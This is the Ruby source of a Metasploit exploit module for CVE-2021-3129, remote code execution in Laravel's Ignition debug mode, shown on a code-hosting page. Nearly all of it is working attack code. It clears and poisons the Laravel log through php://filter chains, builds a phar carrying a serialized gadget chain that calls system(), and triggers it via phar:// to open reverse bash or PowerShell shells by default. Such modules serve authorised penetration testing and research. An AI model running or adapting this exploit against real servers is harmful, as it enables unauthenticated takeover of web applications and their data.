Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/php/ignition_laravel_debug_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Unauthenticated remote code execution in Ignition',16'Description' => %q{17Ignition before 2.5.2, as used in Laravel and other products,18allows unauthenticated remote attackers to execute arbitrary code19because of insecure usage of file_get_contents() and file_put_contents().20This is exploitable on sites using debug mode with Laravel before 8.4.2.21},22'Author' => [23'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging24'ambionics' # discovered25],26'License' => MSF_LICENSE,27'References' => [28['CVE', '2021-3129'],29['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']30],31'DisclosureDate' => '2021-01-13',32'Platform' => %w[unix linux macos win],33'Targets' => [34[35'Unix (In-Memory)',36{37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'Type' => :unix_memory,40'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }41}42],43[44'Windows (In-Memory)',45{46'Platform' => 'win',47'Arch' => ARCH_CMD,48'Type' => :win_memory,49'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }50}51]52],53'Privileged' => false,54'DefaultTarget' => 0,55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [REPEATABLE_SESSION],58'SideEffects' => [IOC_IN_LOGS]59}60)61)62register_options([63OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),64OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])65])66end6768def check69print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")70res = send_request_cgi({71'uri' => normalize_uri(target_uri.path.to_s),72'method' => 'PUT'73})74# Check whether it is using facade/ignition75# If is using it should respond method not allowed76# checking if debug mode is enable77if res && res.code == 405 && res.body.match(/label:"(Debug)"/)78vprint_status 'Debug mode is enabled.'79# check version80versions = JSON.parse(81res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')82)83version = Rex::Version.new(versions['framework_version'])84vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"85# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)86# but it is way more intrusive than just checking the version moreover we would need to call87# the find_log_file method before, meaning four requests more.88return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')89end90return Exploit::CheckCode::Safe91end9293def exploit94@logfile = datastore['LOGFILE'] || find_log_file95fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile9697clear_log98put_payload99convert_to_phar100run_phar101102handler103104clear_log105end106107def find_log_file108vprint_status 'Trying to detect log file'109res = post Rex::Text.rand_text_alpha_upper(12)110if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})111logpath = Regexp.last_match(1).gsub(/\\/, '')112vprint_status "Found directory candidate #{logpath}"113logfile = "#{logpath}/storage/logs/laravel.log"114vprint_status "Checking if #{logfile} exists"115res = post logfile116if res.code == 200117vprint_status "Found log file #{logfile}"118return logfile119end120vprint_error "Log file does not exist #{logfile}"121return122end123vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'124return125end126127def clear_log128res = post "php://filter/read=consumed/resource=#{@logfile}"129# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)130fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200131end132133def put_payload134post format_payload135post Rex::Text.rand_text_alpha_upper(2)136end137138def convert_to_phar139filters = %w[140convert.quoted-printable-decode141convert.iconv.utf-16le.utf-8142convert.base64-decode143].join('|')144145post "php://filter/write=#{filters}/resource=#{@logfile}"146end147148def run_phar149post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"150# resp.body.match(%r{^(.*)\n<!doctype html>})151# $1 ? print_good($1) : nil152end153154def body_template(data)155{156solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',157parameters: {158viewFile: data,159variableName: Rex::Text.rand_text_alpha_lower(4..12)160}161}.to_json162end163164def post(data)165send_request_cgi({166'uri' => normalize_uri(target_uri.path.to_s),167'method' => 'POST',168'data' => body_template(data),169'ctype' => 'application/json',170'headers' => {171'Accept' => '*/*',172'Accept-Encoding' => 'gzip, deflate'173}174})175end176177def generate_phar(pop)178file = Rex::Text.rand_text_alpha_lower(8)179stub = "<?php __HALT_COMPILER(); ?>\r\n"180file_contents = Rex::Text.rand_text_alpha_lower(20)181file_crc32 = Zlib.crc32(file_contents) & 0xffffffff182manifest_len = 40 + pop.length + file.length183phar = stub184phar << [manifest_len].pack('V') # length of manifest in bytes185phar << [0x1].pack('V') # number of files in the phar186phar << [0x11].pack('v') # api version of the phar manifest187phar << [0x10000].pack('V') # global phar bitmapped flags188phar << [0x0].pack('V') # length of phar alias189phar << [pop.length].pack('V') # length of phar metadata190phar << pop # pop chain191phar << [file.length].pack('V') # length of filename in the archive192phar << file # filename193phar << [file_contents.length].pack('V') # length of the uncompressed file contents194phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.195phar << [file_contents.length].pack('V') # length of the compressed file contents196phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents197phar << [0x1b6].pack('V') # bit-mapped file-specific flags198phar << [0x0].pack('V') # serialized File Meta-data length199phar << file_contents # serialized File Meta-data200phar << [Rex::Text.sha1(phar)].pack('H*') # signature201phar << [0x2].pack('V') # signiture type202phar << 'GBMB' # signature presence203204return phar205end206207def format_payload208# rubocop:disable Style/StringLiterals209serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""210serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"211serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""212serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""213serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"214serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"215serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"216# rubocop:enable Style/StringLiterals217phar = generate_phar(serialize)218219b64_gadget = Base64.strict_encode64(phar).gsub('=', '')220payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join221222return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'223end224225end226227228